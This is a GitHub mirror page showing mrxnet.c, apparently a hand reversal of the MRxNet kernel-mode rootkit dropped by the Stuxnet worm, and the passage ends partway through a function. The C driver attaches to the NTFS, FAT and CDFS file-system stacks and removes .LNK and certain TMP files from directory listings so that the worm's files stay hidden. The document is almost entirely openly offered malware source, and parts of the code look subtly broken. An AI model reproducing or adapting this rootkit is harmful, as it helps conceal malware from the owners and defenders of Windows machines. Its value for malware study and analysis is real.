mirror of
https://github.com/micrictor/stuxnet.git
synced 2026-01-09 14:38:02 -05:00
d374a08824
A lot of changes, some small some large. Most notably, add in the rootkit source, courtesy of @Christian-Roggia Closes https://github.com/micrictor/stuxnet/issues/1
700 lines
24 KiB
C
700 lines
24 KiB
C
/*++
|
|
|
|
Copyright (C) 2010-2011 Amr Thabet <amr.thabet[at]student.alx.edu.eg>
|
|
|
|
Module Name:
|
|
|
|
mrxnet.c
|
|
|
|
Abstract:
|
|
|
|
This Module Contain The reversed MRxNet rootkit dropped by Stuxnet worm.
|
|
|
|
Licence:
|
|
|
|
This program is free software; you can redistribute it and/or modify
|
|
it under the terms of the GNU General Public License as published by
|
|
the Free Software Foundation; either version 2 of the License, or
|
|
(at your option) any later version.
|
|
|
|
This program is distributed in the hope that it will be useful,
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
GNU General Public License for more details.
|
|
|
|
You should have received a copy of the GNU General Public License
|
|
along with this program; if not, write to Amr Thabet
|
|
amr.thabet@student.alx.edu.eg
|
|
|
|
Environment:
|
|
|
|
Kernel mode
|
|
|
|
--*/
|
|
|
|
//Decleration
|
|
//------------
|
|
|
|
#include <ntifs.h>
|
|
|
|
typedef struct _DEVICE_EXTENSION
|
|
{
|
|
PDEVICE_OBJECT AttachedDevice;
|
|
PDEVICE_OBJECT RealDevice; //Used in File System Control
|
|
|
|
}_DEVICE_EXTENSION, *PDEVICE_EXTENSION;
|
|
|
|
extern POBJECT_TYPE* IoDriverObjectType;
|
|
|
|
typedef struct
|
|
{
|
|
ULONG Object;
|
|
PDEVICE_OBJECT DeviceObject;
|
|
}ReferencedObject;
|
|
|
|
|
|
//Data:
|
|
//-----
|
|
|
|
FAST_IO_DISPATCH g_fastIoDispatch;
|
|
PDRIVER_OBJECT DriverObject;
|
|
PDEVICE_OBJECT DeviceObject;
|
|
PCWSTR aObreferenceobjectbyname = L"ObReferenceObjectByName";
|
|
PCWSTR FileSystemsArray[3] = {
|
|
L"\\FileSystem\\ntfs",
|
|
L"\\FileSystem\\fastfat",
|
|
L"\\FileSystem\\cdfs",
|
|
};
|
|
|
|
PCWSTR BannedDirecoty = L"{58763ECF-8AC3-4a5f-9430-1A310CE4BE0A}";
|
|
PCWSTR DebugMSG = L"b:\\myrtus\\src\\objfre_w2k_x86\\i386\\guava.pdb";
|
|
|
|
|
|
//ProtoTyping:
|
|
//------------
|
|
|
|
#define FUNC NTSTATUS (*ObReferenceObjectByNameFunc)(PUNICODE_STRING ObjectName,\
|
|
ULONG Attributes,\
|
|
PACCESS_STATE AccessState,\
|
|
ACCESS_MASK DesiredAccess,\
|
|
POBJECT_TYPE ObjectType,\
|
|
KPROCESSOR_MODE AccessMode,\
|
|
PVOID ParseContext OPTIONAL,\
|
|
PVOID* Object)
|
|
|
|
VOID SetFastIoDispatch();
|
|
NTSTATUS HookingFileSystems();
|
|
VOID HookOne(FUNC,PCWSTR FileSystem);
|
|
VOID DriverNotificationRoutine(PDEVICE_OBJECT TargetDevice,int command);
|
|
VOID AttachDevice(PDEVICE_OBJECT TargetDevice);
|
|
BOOLEAN IsAllreadyAttached(PDEVICE_OBJECT TargetDevice);
|
|
NTSTATUS CreateDevice(PDEVICE_OBJECT TargetDevice,PDEVICE_OBJECT *SourceDevice);
|
|
BOOLEAN IsMyDevice(PDEVICE_OBJECT TargetDevice);
|
|
VOID SettingFlags(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice);
|
|
BOOLEAN AttachToStack(PDEVICE_OBJECT SourceDevice,PDEVICE_OBJECT TargetDevice,PDEVICE_EXTENSION DeviceExtension);
|
|
VOID OnFileSystemControl(PDEVICE_OBJECT DeviceObject,PIRP Irp);
|
|
VOID SetCompletionFileControl(PDEVICE_OBJECT TargetDevice,PIRP Irp);
|
|
NTSTATUS SetFSCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp);
|
|
NTSTATUS FileControlCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context);
|
|
BOOLEAN AttachDelayThread(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice);
|
|
VOID OnDirectoryControl(PDEVICE_OBJECT DeviceObject,PIRP Irp);
|
|
VOID SetCompletionDirControl(PDEVICE_OBJECT DeviceObject,PIRP Irp);
|
|
NTSTATUS DirectoryCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context);
|
|
VOID FreeMdl(PIRP Irp,PMDL* Context);
|
|
ULONG AllocateMdl(PMDL* LclContext,PIRP Irp,PIO_STACK_LOCATION CurrentStack);
|
|
ULONG CreateWorkRoutine(PDEVICE_OBJECT DeviceObject,PIO_STACK_LOCATION CurrentStack,PIRP Irp,PVOID LclContext);
|
|
NTSTATUS WorkerRoutine(PDEVICE_OBJECT DeviceObject,PLARGE_INTEGER Context);
|
|
ULONG GetOffsets(ULONG FileInformationClass,ULONG* EndOfFile,ULONG* FilenameOffset,ULONG* FilenameLength);
|
|
ULONG FileCheck (PVOID UserBuffer,ULONG NextEntryOffset,ULONG EndOfFile,ULONG FilenameOffset,ULONG FilenameLength);
|
|
ULONG StrCheck(PCWSTR TargetString,PCWSTR SourceString,int Size);
|
|
ULONG TMPCheck(PCWSTR Filename,int Length,int LowPart,int HighPart);
|
|
|
|
|
|
//Functions:
|
|
//----------
|
|
|
|
VOID CallDriver(PDEVICE_OBJECT DeviceObject,PIRP Irp)
|
|
{
|
|
|
|
Irp->CurrentLocation++;
|
|
Irp->Tail.Overlay.CurrentStackLocation = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation + (ULONG)sizeof(IO_STACK_LOCATION));// 0x24);
|
|
IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Irp);
|
|
};
|
|
|
|
|
|
VOID IRPDispatchRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp)
|
|
{
|
|
return CallDriver(DeviceObject,Irp);
|
|
|
|
}
|
|
|
|
|
|
VOID SetZero(PDEVICE_EXTENSION DeviceExtention,ULONG Value){
|
|
DeviceExtention->AttachedDevice=(PDEVICE_OBJECT)0;
|
|
DeviceExtention->RealDevice=(PDEVICE_OBJECT)0;
|
|
DeviceExtention->RealDevice=(PDEVICE_OBJECT)Value;
|
|
};
|
|
|
|
|
|
/**-------------------------------------------------------------------
|
|
|
|
Driver Entry
|
|
|
|
----------------------------------------------------------------------**/
|
|
|
|
|
|
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath )
|
|
{
|
|
int i;
|
|
NTSTATUS status;
|
|
DriverObject=pDriverObject;
|
|
status=IoCreateDevice(DriverObject, sizeof(_DEVICE_EXTENSION),0,FILE_DEVICE_DISK_FILE_SYSTEM,0x100,0,&DeviceObject);
|
|
if (status!=STATUS_SUCCESS){
|
|
IoDeleteDevice(DeviceObject);
|
|
return 0;
|
|
}
|
|
SetZero(DeviceObject->DeviceExtension,0);
|
|
for(i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++ )
|
|
{
|
|
DriverObject->MajorFunction[i] = IRPDispatchRoutine;
|
|
}
|
|
DriverObject->MajorFunction[IRP_MJ_FILE_SYSTEM_CONTROL] = OnFileSystemControl;
|
|
DriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL] = OnDirectoryControl;
|
|
SetFastIoDispatch();
|
|
HookingFileSystems();
|
|
status = IoRegisterFsRegistrationChange( DriverObject, (PDRIVER_FS_NOTIFICATION)DriverNotificationRoutine);
|
|
if (status!=STATUS_SUCCESS){
|
|
IoDeleteDevice(DeviceObject);
|
|
DriverObject->FastIoDispatch = 0;
|
|
return status; //Error
|
|
}
|
|
return STATUS_SUCCESS;
|
|
};
|
|
|
|
/**-------------------------------------------------------------------
|
|
|
|
Hooking File Systems
|
|
|
|
----------------------------------------------------------------------**/
|
|
|
|
NTSTATUS HookingFileSystems()
|
|
{
|
|
UNICODE_STRING SystemRoutineName;
|
|
int i;
|
|
ULONG (*FunctionAddress)();
|
|
RtlInitUnicodeString(&SystemRoutineName,aObreferenceobjectbyname);
|
|
FunctionAddress = MmGetSystemRoutineAddress(&SystemRoutineName);
|
|
if (FunctionAddress == 0)return 0;
|
|
for (i = 0; i < 3;i++){
|
|
HookOne(FunctionAddress,FileSystemsArray[i]);
|
|
};
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
VOID HookOne(FUNC,PCWSTR FileSystem)
|
|
{
|
|
UNICODE_STRING DestinationString;
|
|
NTSTATUS Status;
|
|
PDEVICE_OBJECT AttachObject;
|
|
Status = STATUS_SUCCESS;
|
|
RtlInitUnicodeString(&DestinationString,FileSystem);
|
|
Status = (*ObReferenceObjectByNameFunc)(&DestinationString,0x40,0,0,*IoDriverObjectType,0,0,(PVOID)&FileSystem);
|
|
if (Status!=STATUS_SUCCESS){
|
|
return;
|
|
};
|
|
AttachObject=0;
|
|
AttachObject =((ReferencedObject*)FileSystem)->DeviceObject;
|
|
while (AttachObject != 0)
|
|
{
|
|
DriverNotificationRoutine(AttachObject,1);
|
|
AttachObject = (PDEVICE_OBJECT)*((int*)((ULONG)AttachObject + (ULONG)0x0C)); //Next Element
|
|
};
|
|
ObDereferenceObject(((ReferencedObject*)FileSystem));
|
|
};
|
|
/**-------------------------------------------------------------------
|
|
|
|
Driver Notification Routine
|
|
|
|
----------------------------------------------------------------------**/
|
|
#define COMMAND_ATTACH 1
|
|
#define COMMAND_DETACH 0
|
|
VOID DriverNotificationRoutine(PDEVICE_OBJECT TargetDevice,int command)
|
|
{
|
|
PDEVICE_OBJECT AttachedDevice;
|
|
|
|
if (command == COMMAND_ATTACH){
|
|
AttachDevice(TargetDevice);
|
|
}else{
|
|
AttachedDevice=TargetDevice->AttachedDevice;
|
|
while(AttachedDevice !=0){
|
|
if (IsMyDevice(AttachedDevice) == TRUE){
|
|
IoDetachDevice(TargetDevice);
|
|
IoDeleteDevice(AttachedDevice);
|
|
break;
|
|
};
|
|
TargetDevice=AttachedDevice; //The parent Device (to detach)
|
|
AttachedDevice=TargetDevice->AttachedDevice; //Get The Next Attached Device
|
|
};
|
|
|
|
};
|
|
};
|
|
/**-------------------------------------------------------------------
|
|
|
|
Attaching Device
|
|
|
|
----------------------------------------------------------------------**/
|
|
VOID AttachDevice(PDEVICE_OBJECT TargetDevice)
|
|
{
|
|
|
|
PDEVICE_OBJECT SourceDevice;
|
|
if (TargetDevice->DeviceType == FILE_DEVICE_DISK_FILE_SYSTEM || TargetDevice->DeviceType == FILE_DEVICE_CD_ROM_FILE_SYSTEM || TargetDevice->DeviceType == FILE_DEVICE_NETWORK_FILE_SYSTEM)
|
|
{
|
|
if (IsAllreadyAttached(TargetDevice) == TRUE) return;
|
|
if (CreateDevice(TargetDevice,&SourceDevice) != STATUS_SUCCESS)return;
|
|
SettingFlags(SourceDevice,TargetDevice);
|
|
SetZero(SourceDevice->DeviceExtension,0);
|
|
if (AttachToStack(SourceDevice,TargetDevice,SourceDevice->DeviceExtension)!= TRUE){
|
|
IoDeleteDevice(SourceDevice);
|
|
return;
|
|
};
|
|
};
|
|
};
|
|
BOOLEAN IsAllreadyAttached(PDEVICE_OBJECT TargetDevice)
|
|
{
|
|
PDEVICE_OBJECT AttachedDevice;
|
|
if(TargetDevice != 0){
|
|
AttachedDevice=TargetDevice->AttachedDevice;
|
|
while(AttachedDevice !=0){
|
|
if (AttachedDevice->DriverObject == DriverObject && AttachedDevice->DeviceExtension !=0){
|
|
return TRUE; //Allready Attached
|
|
};
|
|
AttachedDevice=AttachedDevice->AttachedDevice; //Get The Next Attached Device
|
|
};
|
|
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
NTSTATUS CreateDevice(PDEVICE_OBJECT TargetDevice,PDEVICE_OBJECT *SourceDevice)
|
|
{
|
|
return IoCreateDevice(DriverObject,sizeof(_DEVICE_EXTENSION),0,TargetDevice->DeviceType,0,0,SourceDevice);
|
|
|
|
}
|
|
|
|
BOOLEAN IsMyDevice(PDEVICE_OBJECT TargetDevice)
|
|
{
|
|
if (TargetDevice != 0 && TargetDevice->DriverObject == DriverObject){
|
|
return TRUE; //Allready Attached
|
|
};
|
|
return FALSE;
|
|
};
|
|
|
|
VOID SettingFlags(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice)
|
|
{
|
|
DeviceObject->Flags |= (TargetDevice->Flags & (0x40000 | 0x10 | DO_BUFFERED_IO));
|
|
DeviceObject->Characteristics |= (TargetDevice->Characteristics & FILE_DEVICE_SECURE_OPEN);
|
|
};
|
|
|
|
BOOLEAN AttachToStack(PDEVICE_OBJECT SourceDevice,PDEVICE_OBJECT TargetDevice,PDEVICE_EXTENSION DeviceExtension)
|
|
{
|
|
DeviceExtension->AttachedDevice = TargetDevice;
|
|
if (IoAttachDeviceToDeviceStack(SourceDevice,TargetDevice) == STATUS_SUCCESS){
|
|
return TRUE;
|
|
};
|
|
return FALSE;
|
|
}
|
|
|
|
/**-------------------------------------------------------------------
|
|
|
|
File System Control
|
|
|
|
----------------------------------------------------------------------**/
|
|
|
|
VOID OnFileSystemControl(PDEVICE_OBJECT DeviceObject,PIRP Irp)
|
|
{
|
|
if (Irp->Tail.Overlay.CurrentStackLocation->MinorFunction == IRP_MN_MOUNT_VOLUME){
|
|
SetCompletionFileControl(DeviceObject,Irp);
|
|
}else{
|
|
return CallDriver(DeviceObject,Irp);
|
|
}
|
|
};
|
|
|
|
VOID SetCompletionFileControl(PDEVICE_OBJECT TargetDevice,PIRP Irp)
|
|
{
|
|
PDEVICE_OBJECT DeviceObject = 0;
|
|
if (CreateDevice(TargetDevice,&DeviceObject) != STATUS_SUCCESS){
|
|
Irp->IoStatus.Information=0;
|
|
Irp->IoStatus.Status=STATUS_SUCCESS;
|
|
IoCompleteRequest(Irp,0);
|
|
return;
|
|
};
|
|
SetZero(DeviceObject->DeviceExtension,Irp->Tail.Overlay.CurrentStackLocation->Parameters.MountVolume.Vpb->RealDevice);
|
|
if (SetFSCompletionRoutine(DeviceObject,Irp) == 0){
|
|
Irp->CurrentLocation++;
|
|
Irp->Tail.Overlay.CurrentStackLocation = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation + (ULONG)sizeof(IO_STACK_LOCATION));// 0x24);
|
|
};
|
|
return IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Irp);
|
|
};
|
|
|
|
|
|
NTSTATUS SetFSCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp)
|
|
{
|
|
int i;
|
|
ULONG* CurrentStack;
|
|
ULONG* PrevStack;
|
|
PIO_STACK_LOCATION PrevIrpStack;
|
|
PDEVICE_OBJECT* Buff=ExAllocatePool(0,4);
|
|
if (Buff==0){
|
|
return 0;
|
|
};
|
|
*Buff = DeviceObject;
|
|
CurrentStack = Irp->Tail.Overlay.CurrentStackLocation;
|
|
PrevStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
|
|
|
|
for (i = 0;i<8;i++){
|
|
PrevStack[i]=CurrentStack[i];
|
|
};
|
|
PrevIrpStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
|
|
PrevIrpStack->Control=0;
|
|
PrevIrpStack->Context = Buff;
|
|
PrevIrpStack->CompletionRoutine = FileControlCompletionRoutine;
|
|
PrevIrpStack->Control=0xE0;
|
|
return 1;
|
|
};
|
|
|
|
|
|
NTSTATUS FileControlCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context)
|
|
{
|
|
PDEVICE_OBJECT TargetDevice;
|
|
TargetDevice = ((PDEVICE_EXTENSION)((*Context)->DeviceExtension))->RealDevice->Vpb->DeviceObject;
|
|
if (Irp->IoStatus.Status != STATUS_SUCCESS)
|
|
{
|
|
IoDeleteDevice(DeviceObject);
|
|
ExFreePoolWithTag(Context,0);
|
|
}
|
|
if (IsAllreadyAttached(TargetDevice) == TRUE){
|
|
IoDeleteDevice(DeviceObject);
|
|
ExFreePoolWithTag(Context,0);
|
|
return STATUS_SUCCESS;
|
|
};
|
|
if (AttachDelayThread(*Context,TargetDevice) != TRUE){
|
|
IoDeleteDevice(DeviceObject);
|
|
};
|
|
ExFreePoolWithTag(Context,0);
|
|
return STATUS_SUCCESS;
|
|
};
|
|
|
|
BOOLEAN AttachDelayThread(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice)
|
|
{
|
|
LARGE_INTEGER Interval;
|
|
int i;
|
|
SettingFlags(DeviceObject,TargetDevice);
|
|
for ( i = 0;i<8 ;i++){
|
|
if (AttachToStack(DeviceObject,TargetDevice,DeviceObject->DeviceExtension)== TRUE){
|
|
return TRUE;
|
|
};
|
|
*((ULONG*)((ULONG)&Interval+(ULONG)4)) = -1;
|
|
*((ULONG*)&Interval) = -5000000;
|
|
KeDelayExecutionThread(0,FALSE,&Interval);
|
|
};
|
|
return FALSE;
|
|
};
|
|
/**-------------------------------------------------------------------
|
|
|
|
Directory Control
|
|
|
|
----------------------------------------------------------------------**/
|
|
|
|
VOID OnDirectoryControl(PDEVICE_OBJECT DeviceObject,PIRP Irp)
|
|
{
|
|
if (Irp->Tail.Overlay.CurrentStackLocation->MinorFunction == IRP_MN_QUERY_DIRECTORY){
|
|
SetCompletionDirControl(DeviceObject,Irp);
|
|
}else{
|
|
return CallDriver(DeviceObject,Irp);
|
|
}
|
|
};
|
|
|
|
VOID SetCompletionDirControl(PDEVICE_OBJECT DeviceObject,PIRP Irp)
|
|
{
|
|
PUNICODE_STRING Filename;
|
|
PIO_STACK_LOCATION CurrentStack;
|
|
PIO_STACK_LOCATION PrevStack;
|
|
PIO_STACK_LOCATION PrevIrpStack;
|
|
int i;
|
|
CurrentStack = Irp->Tail.Overlay.CurrentStackLocation;
|
|
if (!(CurrentStack->FileObject->Flags & 0x400000) && CurrentStack->FileObject != 0){
|
|
Irp->Tail.Overlay.CurrentStackLocation->Parameters.QueryDirectory.FileName = 0; //Clear Filename
|
|
if (CurrentStack->FileObject != 0)CurrentStack->FileObject->Flags &= 0x400000;
|
|
CallDriver(DeviceObject,Irp);
|
|
}
|
|
Filename = CurrentStack->Parameters.QueryDirectory.FileName;
|
|
if (Filename != 0 && Filename->Length == 0x4C /*The Size of BannedDirectory*/ ){
|
|
for (i =0;i< 19; i++)
|
|
{
|
|
if ((ULONG)BannedDirecoty[i] == (ULONG)Filename->Buffer[i]){
|
|
goto Error;
|
|
};
|
|
};
|
|
goto Inject;
|
|
Error:
|
|
|
|
CurrentStack->Parameters.QueryDirectory.FileName = 0; //Clear Filename
|
|
if (Irp->Tail.Overlay.CurrentStackLocation->FileObject != 0)Irp->Tail.Overlay.CurrentStackLocation->FileObject->Flags &= 0x400000;
|
|
CallDriver(DeviceObject,Irp);
|
|
return;
|
|
};
|
|
|
|
Inject:
|
|
|
|
CurrentStack->Control=1;
|
|
PrevStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
|
|
|
|
for (i = 0;i<8;i++){
|
|
PrevStack[i]=CurrentStack[i];
|
|
};
|
|
PrevIrpStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
|
|
PrevIrpStack->Control = 0;
|
|
PrevIrpStack->Context = 0;
|
|
PrevIrpStack->CompletionRoutine = DirectoryCompletionRoutine;
|
|
PrevIrpStack->Control=0xE0;
|
|
return IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Irp);
|
|
};
|
|
|
|
|
|
NTSTATUS DirectoryCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context)
|
|
{
|
|
ULONG EndOfFile;
|
|
ULONG FilenameOffset;
|
|
ULONG LclContext;
|
|
ULONG FilenameLength;
|
|
PVOID mmFiles;
|
|
LclContext = (ULONG)Context;
|
|
if (Irp->IoStatus.Status != STATUS_SUCCESS){
|
|
FreeMdl(Irp,LclContext);
|
|
return 0;
|
|
};
|
|
if (GetOffsets(Irp->Tail.Overlay.CurrentStackLocation->Parameters.QueryDirectory.FileInformationClass, \
|
|
&EndOfFile,&FilenameOffset,&FilenameLength) == 0){
|
|
FreeMdl(Irp,LclContext);
|
|
return 0;
|
|
};
|
|
if (Irp->MdlAddress != 0){
|
|
if (Irp->MdlAddress->MdlFlags == 5){
|
|
//maps the physical pages that are described by The MDL to a virtual address
|
|
mmFiles=MmMapLockedPagesSpecifyCache(Irp->MdlAddress,0,MmCached,0,0,0x10);
|
|
if (mmFiles == 0){
|
|
FreeMdl(Irp,LclContext);
|
|
return 0;
|
|
};
|
|
}else if (Irp->MdlAddress->MappedSystemVa == 0){
|
|
FreeMdl(Irp,LclContext);
|
|
return 0;
|
|
};
|
|
}else{
|
|
mmFiles=Irp->UserBuffer;
|
|
};
|
|
if (FileCheck(mmFiles,Irp->Tail.Overlay.CurrentStackLocation->Parameters.QueryDirectory.Length, \
|
|
EndOfFile,FilenameOffset,FilenameLength) != 0){
|
|
Irp->IoStatus.Status = STATUS_SUCCESS;
|
|
FreeMdl(Irp,Context);
|
|
return 0;
|
|
};
|
|
if (Irp->MdlAddress == 0){
|
|
LclContext = ExAllocatePool(0,4);
|
|
if (LclContext == 0 || AllocateMdl(LclContext,Irp,Irp->Tail.Overlay.CurrentStackLocation) == 0){
|
|
FreeMdl(Irp,LclContext);
|
|
Irp->IoStatus.Status=0x0C000009A;
|
|
return 0;
|
|
};
|
|
};
|
|
Irp->IoStatus.Status = CreateWorkRoutine(DeviceObject,Irp->Tail.Overlay.CurrentStackLocation,Irp,LclContext);
|
|
return;
|
|
};
|
|
|
|
VOID FreeMdl(PIRP Irp,PMDL* Context)
|
|
{
|
|
if (Irp->MdlAddress == *Context){
|
|
Irp->MdlAddress=0;
|
|
MmUnlockPages((PMDL)*Context);
|
|
IoFreeMdl(*Context);
|
|
};
|
|
ExFreePoolWithTag(*Context,0);
|
|
|
|
};
|
|
|
|
ULONG AllocateMdl(PMDL* LclContext,PIRP Irp,PIO_STACK_LOCATION CurrentStack)
|
|
{
|
|
PMDL pMdl;
|
|
pMdl = IoAllocateMdl(Irp->UserBuffer,CurrentStack->Parameters.QueryDirectory.Length,0,0,Irp);
|
|
if (pMdl ==0){
|
|
return 0;
|
|
};
|
|
MmProbeAndLockPages(pMdl,0,IoModifyAccess);
|
|
Irp->MdlAddress = pMdl;
|
|
*LclContext = pMdl;
|
|
return 1;
|
|
};
|
|
|
|
ULONG CreateWorkRoutine(PDEVICE_OBJECT DeviceObject,PIO_STACK_LOCATION CurrentStack,PIRP Irp,PVOID LclContext)
|
|
{
|
|
PLARGE_INTEGER pPool;
|
|
PIO_STACK_LOCATION PrevIrpStack;
|
|
int i;
|
|
pPool = ExAllocatePool(0,8);
|
|
if (pPool == 0){
|
|
return 0xC000009A;
|
|
};
|
|
pPool->u.LowPart = IoAllocateWorkItem(DeviceObject);
|
|
if (pPool->u.LowPart == 0){
|
|
return 0xC000009A;
|
|
};
|
|
pPool->u.HighPart=Irp;
|
|
CurrentStack->Flags &= 0xFE;
|
|
CurrentStack->Parameters.QueryDirectory.FileIndex =0;
|
|
Irp->Tail.Overlay.CurrentStackLocation->Control |= 1;
|
|
PrevIrpStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
|
|
for (i = 0;i<8;i++){
|
|
PrevIrpStack[i]=CurrentStack[i];
|
|
};
|
|
PrevIrpStack->Control=0;
|
|
PrevIrpStack->Context = LclContext;
|
|
PrevIrpStack->CompletionRoutine = DirectoryCompletionRoutine;
|
|
PrevIrpStack->Control=0xE0;
|
|
IoQueueWorkItem(pPool->u.LowPart,WorkerRoutine,1,pPool);
|
|
return 0xC0000016;
|
|
};
|
|
|
|
NTSTATUS WorkerRoutine(PDEVICE_OBJECT DeviceObject,PLARGE_INTEGER Context)
|
|
{
|
|
IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Context->u.HighPart);
|
|
IoFreeWorkItem(Context->u.LowPart);
|
|
ExFreePoolWithTag(Context,0);
|
|
return STATUS_SUCCESS;
|
|
};
|
|
|
|
/**-------------------------------------------------------------------
|
|
|
|
File Checking
|
|
|
|
----------------------------------------------------------------------**/
|
|
|
|
ULONG GetOffsets(ULONG FileInformationClass,ULONG* EndOfFile,ULONG* FilenameOffset,ULONG* FilenameLength)
|
|
{
|
|
switch (FileInformationClass) {
|
|
case FileBothDirectoryInformation :
|
|
*EndOfFile = FIELD_OFFSET(FILE_BOTH_DIR_INFORMATION, EndOfFile);
|
|
*FilenameOffset = FIELD_OFFSET(FILE_BOTH_DIR_INFORMATION, FileName);
|
|
case FileDirectoryInformation:
|
|
*EndOfFile = FIELD_OFFSET(FILE_DIRECTORY_INFORMATION, EndOfFile);
|
|
*FilenameOffset = FIELD_OFFSET(FILE_DIRECTORY_INFORMATION, FileName);
|
|
case FileFullDirectoryInformation:
|
|
*EndOfFile = FIELD_OFFSET( FILE_FULL_DIR_INFORMATION , EndOfFile);
|
|
*FilenameOffset = FIELD_OFFSET( FILE_FULL_DIR_INFORMATION , FileName);
|
|
case FileIdBothDirectoryInformation:
|
|
*EndOfFile = FIELD_OFFSET( FILE_ID_BOTH_DIR_INFORMATION, EndOfFile);
|
|
*FilenameOffset = FIELD_OFFSET( FILE_ID_BOTH_DIR_INFORMATION, FileName);
|
|
case FileIdFullDirectoryInformation:
|
|
*EndOfFile = FIELD_OFFSET( FILE_ID_FULL_DIR_INFORMATION, EndOfFile);
|
|
*FilenameOffset = FIELD_OFFSET( FILE_ID_FULL_DIR_INFORMATION, FileName);
|
|
case FileNamesInformation:
|
|
*EndOfFile = -1;
|
|
*FilenameOffset = FIELD_OFFSET( FILE_NAMES_INFORMATION, FileName);
|
|
*FilenameLength = FIELD_OFFSET(FILE_NAMES_INFORMATION, FileNameLength);
|
|
return 1;
|
|
default:
|
|
return 0;
|
|
};
|
|
*FilenameLength = FIELD_OFFSET(FILE_BOTH_DIR_INFORMATION, FileNameLength);
|
|
return 1;
|
|
};
|
|
|
|
ULONG FileCheck (ULONG* UserBuffer,ULONG NextEntryOffset,ULONG EndOfFile,ULONG FilenameOffset,ULONG FilenameLength)
|
|
{
|
|
LARGE_INTEGER FileSize;
|
|
ULONG EntryPtr;
|
|
ULONG PrevOffset;
|
|
PCWSTR Filename;
|
|
ULONG Length;
|
|
|
|
EntryPtr = 0;
|
|
PrevOffset = NextEntryOffset;
|
|
(ULONG)UserBuffer &= 0xFFFFFF00;
|
|
if (NextEntryOffset == 0){
|
|
return 1;
|
|
};
|
|
do{
|
|
NextEntryOffset = *UserBuffer;
|
|
if (EndOfFile == -1){ //FileNamesInformation
|
|
FileSize.u.LowPart=0;
|
|
FileSize.u.HighPart=0;
|
|
};
|
|
FileSize.u.LowPart = *((ULONG*)((ULONG)UserBuffer + EndOfFile));
|
|
FileSize.u.HighPart = *((ULONG*)((ULONG)UserBuffer + EndOfFile + 4));
|
|
Length = *((ULONG*)((ULONG)UserBuffer + FilenameLength));
|
|
Filename = (PCWSTR)((ULONG)UserBuffer + FilenameOffset);
|
|
if (Length & 1){ //mean couldn't be divided by 2 (That's will be strange because it's a unicode string (Wide char))
|
|
EntryPtr = UserBuffer;
|
|
UserBuffer+=NextEntryOffset;
|
|
(ULONG)UserBuffer |= 0x01; //mov byte ptr [ebp+UserBuffer+3], 1
|
|
PrevOffset -= NextEntryOffset;
|
|
continue;
|
|
};
|
|
Length -= FilenameOffset; //I don't know why
|
|
Length /= 2; //number of characters
|
|
if ((((FileSize.u.HighPart != -1) && (FileSize.u.LowPart != -1)) || (FileSize.u.HighPart == 0 && FileSize.u.LowPart == 4171)) && (Length > 4)){
|
|
if (StrCheck(L".LNK",&Filename[Length -4],4) != 0){
|
|
memmove(UserBuffer,UserBuffer + NextEntryOffset,PrevOffset - NextEntryOffset);
|
|
PrevOffset -= NextEntryOffset;
|
|
continue;
|
|
};
|
|
};
|
|
if (TMPCheck(Filename,Length,FileSize.u.LowPart,FileSize.u.HighPart) ==0){
|
|
EntryPtr = UserBuffer;
|
|
UserBuffer+=NextEntryOffset;
|
|
(ULONG)UserBuffer |= 0x01; //mov byte ptr [ebp+UserBuffer+3], 1
|
|
}else{
|
|
if (NextEntryOffset != 0){
|
|
memmove(UserBuffer,UserBuffer + NextEntryOffset,PrevOffset - NextEntryOffset);
|
|
}else{
|
|
if (EntryPtr !=0)EntryPtr = 0;
|
|
break;
|
|
};
|
|
};
|
|
PrevOffset -= NextEntryOffset;
|
|
}while ( PrevOffset != 0);
|
|
return ((ULONG)UserBuffer & 1); // cmp byte ptr [ebp+UserBuffer+3], 0 / setnz al
|
|
};
|
|
|
|
ULONG StrCheck(PCWSTR TargetString,PCWSTR SourceString,int Size)
|
|
{
|
|
WCHAR chr;
|
|
if (TargetString[0] == 0) return 1;
|
|
do{
|
|
if (Size == 0)return 0;
|
|
chr = toupper(SourceString[0]);
|
|
if (chr != toupper(TargetString[0]))return 0;
|
|
(ULONG)SourceString += 2;
|
|
(ULONG)TargetString += 2;
|
|
Size--;
|
|
}while(TargetString[0] !=0);
|
|
return 1;
|
|
};
|
|
|
|
ULONG TMPCheck(PCWSTR Filename,int Length,int LowPart,int HighPart)
|
|
{
|
|
int i;
|
|
WCHAR chr;
|
|
int Mod = 0;
|
|
